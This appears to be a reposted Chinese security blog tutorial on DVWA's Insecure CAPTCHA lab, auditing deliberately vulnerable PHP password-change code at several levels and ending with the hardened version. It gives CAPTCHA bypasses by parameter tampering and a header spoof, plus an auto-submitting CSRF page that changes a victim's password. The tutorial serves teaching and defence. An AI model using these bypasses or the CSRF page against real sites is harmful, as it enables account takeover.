Insecure CAPTCHA漏洞利用以及防御
作者:互联网
漏洞介绍
CAPTCHA
项目是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称,是一种区分用户是计算机和人的公共全自动程序。- 使用
CAPTCHA
可以防止计算机恶意破解密码、刷单等,保证用户是人类(无法快速反复发送请求)。 - 攻击者绕过
CAPTCHA
验证后,可以使用恶意脚本操控计算机反复发送请求或者在异地实现绕过验证的CSRF
攻击。
漏洞原理
CAPTCHA
漏洞利用验证机制的逻辑漏洞,下面给出验证流程。- 服务器使用recaptcha_check_answer()函数验证用户输入的正确性
recaptcha_check_answer(string: $privkey, string: $remoteip, string: $challenge, string: $response, array: $extra_params = array())
-
可以利用服务器核对验证信息这个环节,绕过
CAPTCHA
验证,完成非人类请求。
漏洞复现
- 这里使用
DVWA
靶场完成对攻击场景的模拟。 - 由于
Burp Suite
的代理和梯子冲突,故不打开梯子,reCAPTCHA
无法显示(会使用方法绕过,此处不影响)。
Low
代码
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
审计
- 这里修改密码的过程有两步,第一步是
CAPTCHA
的验证环节,第二步是将参数POST
到后台。 - 由于两步操作的判断是完全分开、没有联系的,于是可以忽略第一步的验证,直接提交修改申请。
- 两个步骤对应的
step
参数不同,可以通过抓取报文并且修改step
,来实现验证的绕过。 - 代码没有对
CSRF
进行任何防护,可以利用CSRF
漏洞进行攻击。
攻击
- 不进行验证,直接输入对密码的修改。
- 点击
change
后,step
本应提交为1
,此处进行抓包修改。 - 修改之后则绕过了验证阶段,直接进行密码修改。
- 第二种方法,同
CSRF
攻击一样,构造攻击页面。
<html>
<body onl oad="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://127.0.0.1/DVWA-master/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="step" value="2">
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>
- 用户点击攻击页面后自动提交请求,并跳转到修改密码的初始页面。
Medium
代码
// Same as Low
...
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
...
审计
Medium
级别基于Low
的基础,在第二步判断增加了对第一步是否通过的验证,即判断参数passed_captcha
是否为真。passed_captcha
参数是通过POST
提交的,整个请求也是POST
请求,故可以人为加上此参数。
攻击
- 同
Low
一样,直接跳过验证环节,提交请求。 - 使用
Burp Suite
抓取包并修改报文,将步骤直接调整到第二步,第二步的验证伪造为已验证,即直接加入passed_captcha
参数,混入POST
的参数提交。 Forward
提交请求,发现完成绕过。- 利用
CSRF
漏洞攻击时,攻击页面需要添加一条参数提交。
<input type="hidden" name="passed_captcha" value="true">
High
代码
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Same as Medium
...
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
...
// Generate Anti-CSRF token
generateSessionToken();
?>
审计
High
级别将验证流程合并,通过连续的判断将两个步骤相同的部分合并,避免了第一步验证的直接改参绕过。- 加入了
token
机制,有效防止CSRF
漏洞攻击,下面不再做攻击页面。
攻击
- 看到了后端代码,发现即使不验证也有机会绕过验证,于是针对
g-recaptcha-response
和HTTP_USER_AGENT
操作。 - 同样不验证,直接提交请求并对相关参数进行抓包修改。
- 提交后,参数完成了伪造绕过。
漏洞防御
- 使用
Impossible
级别代码作为防御模板。
代码
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
审计
- 使用
Anti-CSRF token
机制防御CSRF攻击。 - 验证步骤合并为同一步,无需分开,使得验证环节无法绕过。
- 要求输入修改之前的密码,攻击者无法绕过。
- 利用
PDO
技术输入内容过滤,防止了sql
注入。
标签:漏洞,Insecure,new,CAPTCHA,pass,mysqli,___,password 来源: https://blog.csdn.net/qq_45969062/article/details/114209081